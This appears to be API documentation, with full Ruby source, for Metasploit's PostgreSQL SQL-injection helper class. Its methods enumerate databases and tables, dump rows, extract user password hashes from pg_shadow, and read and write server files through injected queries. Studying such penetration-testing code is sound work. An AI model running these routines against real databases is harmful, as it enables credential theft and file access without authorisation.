Class: Msf::Exploit::SQLi::PostgreSQLi::Common
- Defined in:
- lib/msf/core/exploit/sqli/postgresqli/common.rb
Direct Known Subclasses
Constant Summary collapse
- ENCODERS =
Encoders supported by PostgreSQL Keys are function names, values are decoding procs in Ruby
{ base64: { encode: 'translate(encode(^DATA^::bytea, \'base64\'), E\'\n\',\'\')', decode: proc { |data| Base64.decode64(data) } }, hex: { encode: 'encode(^DATA^::bytea, \'hex\')', decode: proc { |data| Rex::Text.hex_to_raw(data) } } }.freeze
- BIT_COUNTS =
{ 0 => 0, 0b1 => 1, 0b11 => 2, 0b111 => 3, 0b1111 => 4, 0b11111 => 5, 0b111111 => 6, 0b1111111 => 7, 0b11111111 => 8 }.freeze
Instance Attribute Summary
Attributes inherited from Common
#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length
Attributes included from Rex::Ui::Subscriber::Input
Attributes included from Rex::Ui::Subscriber::Output
Instance Method Summary collapse
-
#current_database ⇒ String
Query the current database name.
-
#current_user ⇒ String
Query the current user.
-
#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object
Query the given columns of the records of the given table, that satisfy an optional condition @param table [String] The name of the table to query @param columns [Array] The names of the columns to query @param condition [String] An optional condition, return only the rows satisfying it @param num_limit [Integer] An optional maximum number of results to return @return [Array] An array, where each element is an array of strings representing a row of the results.
-
#enum_database_names ⇒ Array
Query the names of all the existing databases.
-
#enum_dbms_users ⇒ Array
Query the PostgreSQL users (their username and password), this might require elevated privileges.
-
#enum_table_columns(table_name) ⇒ Object
Query the column names of the given table in the given database @param table_name [String] the name of the table of which you want to query the column names @return [Array] An array of Strings, the column names in the given table belonging to the given database.
-
#enum_table_names(database = 'public') ⇒ Array
Query the names of the tables in a given database.
-
#enum_view_names(database = 'public') ⇒ Array
Query the names of the views in the given database.
-
#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common
constructor
See SQLi::Common#initialize.
-
#read_from_file(fpath, binary = false) ⇒ Object
Attempt reading from a file on the filesystem @return [String] The content of the file if reading was successful.
-
#test_vulnerable ⇒ Boolean
Checks if the SQL injection is working, by checking that queries that should return known results return the results we expect from them.
-
#version ⇒ Object
Query the PostgreSQL version @return [String] The PostgreSQL version in use.
-
#write_to_file(fname, data) ⇒ void
Writes data to a file on the target system.
Methods inherited from Common
Methods included from Module::UI
Methods included from Module::UI::Message
#print_error, #print_good, #print_prefix, #print_status, #print_warning
Methods included from Module::UI::Message::Verbose
#vprint_error, #vprint_good, #vprint_status, #vprint_warning
Methods included from Module::UI::Line
#print_line, #print_line_prefix
Methods included from Module::UI::Line::Verbose
Methods included from Rex::Ui::Subscriber
Methods included from Rex::Ui::Subscriber::Input
Methods included from Rex::Ui::Subscriber::Output
#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning
Constructor Details
#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common
See SQLi::Common#initialize
29 30 31 32 33 34 35 36 37 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 29 def initialize(datastore, framework, user_output, opts = {}, &query_proc) if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol) # if it's a String or a Symbol, use a predefined encoder if it exists opts[:encoder] = opts[:encoder].downcase.intern opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]] end opts[:concat_separator] ||= ',' super end |
Instance Method Details
#current_database ⇒ String
Query the current database name
51 52 53 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 51 def current_database call_function('current_database()') end |
#current_user ⇒ String
Query the current user
59 60 61 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 59 def current_user call_function('getpgusername()') end |
#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object
Query the given columns of the records of the given table, that satisfy an optional condition
@param table [String] The name of the table to query
@param columns [Array] The names of the columns to query
@param condition [String] An optional condition, return only the rows satisfying it
@param num_limit [Integer] An optional maximum number of results to return
@return [Array] An array, where each element is an array of strings representing a row of the results
123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 123 def dump_table_fields(table, columns, condition = '', num_limit = 0) return '' if columns.empty? one_column = columns.length == 1 if one_column columns = "coalesce(#{columns.first}::text,'#{@null_replacement}')" columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder else columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col| col = "coalesce(#{col}::text,'#{@null_replacement}')" @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col end.join(',') + ')' end unless condition.empty? condition = ' where ' + condition end num_limit = num_limit.to_i limit = num_limit > 0 ? ' limit ' + num_limit.to_s : '' retrieved_data = nil if @safe # no group_concat, leak one row at a time row_count = run_sql("select count(1)::text from #{table}#{condition}").to_i num_limit = row_count if num_limit == 0 || row_count < num_limit retrieved_data = num_limit.times.map do |current_row| if @truncation_length truncated_query("select substr(#{columns}::text,^OFFSET^,#{@truncation_length}) from " \ "#{table}#{condition} limit 1 offset #{current_row}") else run_sql("select #{columns}::text from #{table}#{condition} limit 1 offset #{current_row}") end end else # if limit > 0, an alias will be necessary if num_limit > 0 alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) } if @truncation_length retrieved_data = truncated_query('select substr(string_agg(' \ "#{alias1}, '#{@concat_separator}'),"\ "^OFFSET^,#{@truncation_length}) from (select #{columns}::text #{alias1} from #{table}"\ "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',') else retrieved_data = run_sql("select string_agg(#{alias1}, '#{@concat_separator}')"\ " from (select #{columns}::text #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',') end else if @truncation_length retrieved_data = truncated_query('select substr(string_agg(' \ "#{columns}::text, '#{@concat_separator}')," \ "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',') else retrieved_data = run_sql("select string_agg(#{columns}::text, '#{@concat_separator}')" \ " from #{table}#{condition}#{limit}").split(@concat_separator || ',') end end end retrieved_data.map do |row| row = row.split(@second_concat_separator) @encoder ? row.map { |x| @encoder[:decode].call(x) } : row end end |
#enum_database_names ⇒ Array
Query the names of all the existing databases
67 68 69 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 67 def enum_database_names dump_table_fields('pg_database', %w[datname]).flatten end |
#enum_dbms_users ⇒ Array
Query the PostgreSQL users (their username and password), this might require elevated privileges.
94 95 96 97 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 94 def enum_dbms_users # might require elevated privileges dump_table_fields('pg_shadow', %w[usename passwd]) end |
#enum_table_columns(table_name) ⇒ Object
Query the column names of the given table in the given database
@param table_name [String] the name of the table of which you want to query the column names
@return [Array] An array of Strings, the column names in the given table belonging to the given database
104 105 106 107 108 109 110 111 112 113 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 104 def enum_table_columns(table_name) if table_name.include?('.') database, table_name = table_name.split('.') else database = 'public' # or current_database() ? end dump_table_fields('information_schema.columns', %w[column_name], "table_name='#{table_name}' and " \ "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten end |
#enum_table_names(database = 'public') ⇒ Array
Query the names of the tables in a given database
76 77 78 79 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 76 def enum_table_names(database = 'public') dump_table_fields('information_schema.tables', %w[table_name], "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten end |
#enum_view_names(database = 'public') ⇒ Array
Query the names of the views in the given database
86 87 88 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 86 def enum_view_names(database = 'public') dump_table_fields('information_schema.views', %w[table_name], "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten end |
#read_from_file(fpath, binary = false) ⇒ Object
Attempt reading from a file on the filesystem @return [String] The content of the file if reading was successful
215 216 217 218 219 220 221 222 223 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 215 def read_from_file(fpath, binary=false) if binary # pg_read_binary_file returns bytea # an encoder might be needed call_function("pg_read_binary_file('#{fpath}')") else call_function("pg_read_file('#{fpath}')") end end |
#test_vulnerable ⇒ Boolean
Checks if the SQL injection is working, by checking that queries that should return known results return the results we expect from them
189 190 191 192 193 194 195 196 197 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 189 def test_vulnerable random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10) random_string = Rex::Text.rand_text_alphanumeric(random_string_len) query_string = "'#{random_string}'" query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder output = run_sql("select #{query_string}") return false if output.nil? (@encoder ? @encoder[:decode].call(output) : output) == random_string end |
#version ⇒ Object
Query the PostgreSQL version
@return [String] The PostgreSQL version in use
43 44 45 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 43 def version call_function('version()') end |
#write_to_file(fname, data) ⇒ void
This method returns an undefined value.
Writes data to a file on the target system
205 206 207 |
# File 'lib/msf/core/exploit/sqli/postgresqli/common.rb', line 205 def write_to_file(fname, data) raw_run_sql("copy (select '#{data}') to '#{fname}'") end |